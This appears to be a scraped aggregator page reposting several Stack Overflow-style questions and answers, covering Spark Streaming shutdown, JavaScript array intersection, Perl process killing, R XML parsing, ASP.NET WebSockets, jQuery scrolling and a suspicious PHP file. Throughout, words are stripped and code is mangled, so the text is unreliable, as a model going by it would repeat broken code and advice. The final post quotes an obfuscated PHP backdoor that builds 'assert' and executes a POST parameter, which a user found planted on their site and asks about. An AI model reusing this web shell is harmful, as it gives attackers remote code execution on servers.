Posts

How to shutdown/kill Spark Streaming application when one of the job fails -

i running spark streaming application. there few times 1 of jobs fails due runtime exception. spark marks job failed , continues process next streaming batch. there parameter can set notify spark kill application (not process next streaming batch) if 1 of jobs fails? using spark 1.4.1 on standalone cluster mode. inside program, could: throw exception , bubble main, surrounding main body in try catch put system.exit(0) want. if shutdowngracefully property set true, close gracefully ever spark process , end program. here reference

javascript - Most Efficient Way to Find Common Item Between Arbitrary Number of Arrays -

i need able find common item between arbitrary number of arrays. example, let's there's object this: var obj = { a: [ 15, 23, 36, 49, 104, 211 ], b: [ 9, 12, 23 ], c: [ 11, 17, 18, 23, 38 ], d: [ 13, 21, 23, 27, 40, 85] }; i'd need determine common item between each of these arrays. (in case, 23). my solution find shortest array, , iterate through each item in it, checking index of other arrays. var shortest = {}; var keys = []; ( var key in obj ) { if ( obj.hasownproperty( key ) && array.isarray( obj[ key ] ) ) { keys.push( key ); if ( !shortest.hasownproperty( 'length' ) || obj[ key ].length < shortest.length ) { shortest.name = key; shortest.length = obj[ key ].length; } } } var res = obj[ shortest.name ].filter(function ( v ) { ( var = 0; < keys.length; i++ ) { if ( obj[ keys[ ] ].indexof( v ) === -1 ) { return false; } return true; } }; however, seems enormously ineffi...

How can I gently kill a process in ActiveState Perl? -

do need use specific exitcode ? win32::process::create( $processobj, "c:\\program files (x86)\\mozilla firefox\\firefox.exe", "firefox -no-remote -p $prof_name", 0, normal_priority_class, ".")|| die errorreport(); $processobj->kill(0); that way kills, not gently, generating problems firefox profile. short   usual methods other window's taskkill forceful. mob , melpomene . the win32::process documentation doesn't methods kill or killprocess do, seem pretty blunt it. windows provide gradation in how terminate process, see example post on graceful termination via winapi , not have unix's signals. however, apparently not utilized module nor kill (see end). the windows's own taskkill should nicely ask process terminate. query flags, running taskkill /? in console on system. here documentation taskkill on ms technet . example, terminates process $pid , along children my $pid = $processobj-...

r - XML elements to list XML objects -

how split xml tree list of xml objects , user function getnodeset return value should include root object "part"? require(xml) txt = "<doc> <part> <name>abc</name> <type>xyz</type> <cost>3.54</cost> <status>available</status> </part> <part> <name>abc</name> <type>xyz</type> <cost>3.54</cost> <status>available</status> </part> </doc>" doc <- xmltreeparse(txt, useinternalnodes = true) special_nodes <- getnodeset(doc, "/*/part//*") i think nodes returned getnodeset pointers underlying xml object, instance > special_nodes[[1]] <name>abc</name> > xpathsapply(special_nodes[[1]], "../cost") [[1]] <cost>3.54</cost>

asp.net - Passing string from Startup.cs method to database -

i have problem have websocket method in startup.cs class in asp.net core rc1 project. private async task echo(websocket websocket) { var buffer = new byte[1024 * 4]; var result = await websocket.receiveasync(new arraysegment<byte>(buffer), cancellationtoken.none); string text = ""; while (!result.closestatus.hasvalue) { await websocket.sendasync(new arraysegment<byte>(buffer, 0, result.count), result.messagetype, result.endofmessage, cancellationtoken.none); result = await websocket.receiveasync(new arraysegment<byte>(buffer), cancellationtoken.none); (int = 0; < result.count; i++) { text += (char) buffer[i]; } /* todo: add {text} database */ text = text ?? ""; } await websocket.closeasync(result.closestatus.value, result.closestatusdescription, canc...

jquery - Cant stop page scroll with e.preventDefault(); -

this question has answer here: how disable scrolling temporarily? 25 answers i want disable scrolling on page jquery (not body overflow:hidden). i thought work reason doesn't. $( window ).on( "scroll", function(e) { e.preventdefault(); }); i tried doing same thing month ago , managed working described here

security - mysterious php file has appeared, can you help me figure out what it is -

i uploading file web hosting , noticed file called thankyou.php has appeared. don't recall ever having seen file or code before. alarmingly, file, plus favicon have last modified times 4 hours after have been making changes. can advise me on whether code below means anything? note spaces after last character of each line. it's been long since dabbled in php, , dabble. <?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_p"./*-/*-*/"os"./*-/*-*/"t"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?> this can infection in files. might not one. best thing can check files on sort of infections. if have done that, change passwords ftp , database. whatever do, not change password before checking files. may have made password changes (php ...